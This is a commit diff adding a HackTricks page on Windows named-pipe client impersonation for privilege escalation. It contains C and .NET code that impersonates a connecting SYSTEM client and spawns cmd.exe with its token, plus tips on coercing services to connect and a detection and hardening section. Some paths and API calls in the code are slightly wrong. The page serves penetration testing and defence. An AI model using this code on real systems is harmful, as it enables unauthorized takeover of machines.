Skip to content

Commit 7a5cdaf

Browse files
author
HackTricks News Bot
committed
Add content from: Research Update: Enhanced src/windows-hardening/windows-loca...
1 parent 6937d30 commit 7a5cdaf

1 file changed

Lines changed: 129 additions & 2 deletions

File tree

src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md

Lines changed: 129 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,9 +2,136 @@
22

33
{{#include ../../banners/hacktricks-training.md}}
44

5-
Check: [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)
5+
Named Pipe client impersonation is a local privilege escalation primitive that lets a named-pipe server thread adopt the security context of a client that connects to it. In practice, an attacker who can run code with SeImpersonatePrivilege can coerce a privileged client (e.g., a SYSTEM service) to connect to an attacker-controlled pipe, call ImpersonateNamedPipeClient, duplicate the resulting token into a primary token, and spawn a process as the client (often NT AUTHORITY\SYSTEM).
66

7-
{{#include ../../banners/hacktricks-training.md}}
7+
This page focuses on the core technique. For end-to-end exploit chains that coerce SYSTEM to your pipe, see the Potato family pages referenced below.
8+
9+
## TL;DR
10+
- Create a named pipe: \\.\pipe\<random> and wait for a connection.
11+
- Make a privileged component connect to it (spooler/DCOM/EFSRPC/etc.).
12+
- Read at least one message from the pipe, then call ImpersonateNamedPipeClient.
13+
- Open the impersonation token from the current thread, DuplicateTokenEx(TokenPrimary), and CreateProcessWithTokenW/CreateProcessAsUser to get a SYSTEM process.
14+
15+
## Requirements and key APIs
16+
- Privileges typically needed by the calling process/thread:
17+
- SeImpersonatePrivilege to successfully impersonate a connecting client and to use CreateProcessWithTokenW.
18+
- Alternatively, after impersonating SYSTEM, you can use CreateProcessAsUser, which may require SeAssignPrimaryTokenPrivilege and SeIncreaseQuotaPrivilege (these are satisfied when you’re impersonating SYSTEM).
19+
- Core APIs used:
20+
- CreateNamedPipe / ConnectNamedPipe
21+
- ReadFile/WriteFile (must read at least one message before impersonation)
22+
- ImpersonateNamedPipeClient and RevertToSelf
23+
- OpenThreadToken, DuplicateTokenEx(TokenPrimary)
24+
- CreateProcessWithTokenW or CreateProcessAsUser
25+
- Impersonation level: to perform useful actions locally, the client must allow SecurityImpersonation (default for many local RPC/named-pipe clients). Clients can lower this with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION when opening the pipe.
26+
27+
## Minimal Win32 workflow (C)
28+
```c
29+
// Minimal skeleton (no error handling hardening for brevity)
30+
#include <windows.h>
31+
#include <stdio.h>
32+
33+
int main(void) {
34+
LPCSTR pipe = "\\\\.\\pipe\\evil";
35+
HANDLE hPipe = CreateNamedPipeA(
36+
pipe,
37+
PIPE_ACCESS_DUPLEX,
38+
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
39+
1, 0, 0, 0, NULL);
40+
41+
if (hPipe == INVALID_HANDLE_VALUE) return 1;
42+
43+
// Wait for privileged client to connect (see Triggers section)
44+
if (!ConnectNamedPipe(hPipe, NULL)) return 2;
45+
46+
// Read at least one message before impersonation
47+
char buf[4]; DWORD rb = 0; ReadFile(hPipe, buf, sizeof(buf), &rb, NULL);
48+
49+
// Impersonate the last message sender
50+
if (!ImpersonateNamedPipeClient(hPipe)) return 3; // ERROR_CANNOT_IMPERSONATE==1368
51+
52+
// Extract and duplicate the impersonation token into a primary token
53+
HANDLE impTok = NULL, priTok = NULL;
54+
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &impTok)) return 4;
55+
if (!DuplicateTokenEx(impTok, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &priTok)) return 5;
856

57+
// Spawn as the client (often SYSTEM). CreateProcessWithTokenW requires SeImpersonatePrivilege.
58+
STARTUPINFOW si = { .cb = sizeof(si) }; PROCESS_INFORMATION pi = {0};
59+
if (!CreateProcessWithTokenW(priTok, LOGON_NETCREDENTIALS_ONLY,
60+
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
61+
0, NULL, NULL, &si, &pi)) {
62+
// Fallback: CreateProcessAsUser after you already impersonated SYSTEM
63+
CreateProcessAsUserW(priTok, L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
64+
NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
65+
}
966

67+
RevertToSelf(); // Restore original context
68+
return 0;
69+
}
70+
```
71+
Notes:
72+
- If ImpersonateNamedPipeClient returns ERROR_CANNOT_IMPERSONATE (1368), ensure you read from the pipe first and that the client didn’t restrict impersonation to Identification level.
73+
- Prefer DuplicateTokenEx with SecurityImpersonation and TokenPrimary to create a primary token suitable for process creation.
1074
75+
## .NET quick example
76+
In .NET, NamedPipeServerStream can impersonate via RunAsClient. Once impersonating, duplicate the thread token and create a process.
77+
```csharp
78+
using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
79+
class P {
80+
[DllImport("advapi32", SetLastError=true)] static extern bool OpenThreadToken(IntPtr t, uint a, bool o, out IntPtr h);
81+
[DllImport("advapi32", SetLastError=true)] static extern bool DuplicateTokenEx(IntPtr e, uint a, IntPtr sd, int il, int tt, out IntPtr p);
82+
[DllImport("advapi32", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessWithTokenW(IntPtr hTok, int f, string app, string cmd, int c, IntPtr env, string cwd, ref ProcessStartInfo si, out Process pi);
83+
static void Main(){
84+
using var s = new NamedPipeServerStream("evil", PipeDirection.InOut, 1);
85+
s.WaitForConnection();
86+
// Ensure client sent something so the token is available
87+
s.RunAsClient(() => {
88+
IntPtr t; if(!OpenThreadToken(Process.GetCurrentProcess().Handle, 0xF01FF, false, out t)) return; // TOKEN_ALL_ACCESS
89+
IntPtr p; if(!DuplicateTokenEx(t, 0xF01FF, IntPtr.Zero, 2, 1, out p)) return; // SecurityImpersonation, TokenPrimary
90+
var psi = new ProcessStartInfo("C\\Windows\\System32\\cmd.exe");
91+
Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref psi, out pi);
92+
});
93+
}
94+
}
95+
```
96+
97+
## Common triggers/coercions to get SYSTEM to your pipe
98+
These techniques coerce privileged services to connect to your named pipe so you can impersonate them:
99+
- Print Spooler RPC trigger (PrintSpoofer)
100+
- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
101+
- EFSRPC pipes (EfsPotato/SharpEfsPotato)
102+
103+
See detailed usage and compatibility here:
104+
105+
-
106+
{{#ref}}
107+
roguepotato-and-printspoofer.md
108+
{{#endref}}
109+
-
110+
{{#ref}}
111+
juicypotato.md
112+
{{#endref}}
113+
114+
If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see:
115+
116+
-
117+
{{#ref}}
118+
from-high-integrity-to-system-with-name-pipes.md
119+
{{#endref}}
120+
121+
## Troubleshooting and gotchas
122+
- You must read at least one message from the pipe before calling ImpersonateNamedPipeClient; otherwise you’ll get ERROR_CANNOT_IMPERSONATE (1368).
123+
- If the client connects with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, the server cannot fully impersonate; check the token’s impersonation level via GetTokenInformation(TokenImpersonationLevel).
124+
- CreateProcessWithTokenW requires SeImpersonatePrivilege on the caller. If that fails with ERROR_PRIVILEGE_NOT_HELD (1314), use CreateProcessAsUser after you already impersonated SYSTEM.
125+
- Ensure your pipe’s security descriptor allows the target service to connect if you harden it; by default, pipes under \\.\pipe are accessible according to the server’s DACL.
126+
127+
## Detection and hardening
128+
- Monitor named pipe creation and connections. Sysmon Event IDs 17 (Pipe Created) and 18 (Pipe Connected) are useful to baseline legitimate pipe names and catch unusual, random-looking pipes preceding token-manipulation events.
129+
- Look for sequences: process creates a pipe, a SYSTEM service connects, then the creating process spawns a child as SYSTEM.
130+
- Reduce exposure by removing SeImpersonatePrivilege from nonessential service accounts and avoiding unnecessary service logons with high privileges.
131+
- Defensive development: when connecting to untrusted named pipes, specify SECURITY_SQOS_PRESENT with SECURITY_IDENTIFICATION to prevent servers from fully impersonating the client unless necessary.
132+
133+
## References
134+
- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
135+
- ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
136+
137+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)